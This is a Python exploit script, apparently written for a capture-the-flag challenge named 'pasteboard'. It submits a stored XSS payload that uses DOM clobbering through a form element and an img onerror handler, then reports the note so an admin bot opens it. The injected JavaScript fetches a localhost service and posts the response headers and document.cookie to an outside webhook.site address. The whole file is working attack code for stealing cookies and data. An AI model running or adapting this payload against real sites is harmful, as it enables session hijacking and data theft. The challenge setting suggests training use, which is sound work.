import requests

BASE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# The flag is likely an HttpOnly cookie!
# When bot fetches from same-origin, cookies are sent
# We need to intercept and forward the response headers

payload = '''<form id="errorReporter"><input name="path" value="data:text/javascript,
fetch('http://127.0.0.1:5000/')
  .then(r => {
    const headers = {};
    r.headers.forEach((v,k) => headers[k]=v);
    return fetch('https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/HEADERS', {
      method: 'POST',
      body: JSON.stringify({
        url: r.url,
        status: r.status,
        headers: headers,
        cookies: document.cookie
      })
    });
  })
"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("[*] Attempting to capture HTTP headers from same-origin request")
print("[*] HttpOnly cookies should be visible in the response!")
print()

session = requests.Session()
resp = session.post(
    f"{BASE_URL}/note/new",
    data={"title": "Headers", "body": payload},
    allow_redirects=False
)

if resp.status_code == 302:
    location = resp.headers.get('Location')
    note_url = f"{BASE_URL}{location}"
    
    print(f"[+] Created: {note_url}")
    
    report = session.post(f"{BASE_URL}/report", data={"url": location})
    if report.status_code == 202:
        print(f"[+] Reported!")
        print()
        print("[*] Check webhook for POST to /HEADERS")
        print("[*] The flag might be in Set-Cookie or response headers!")
        print("    https://webhook.site/#!/d8111fd3-599a-47ab-bcab-94d5ec54e078")
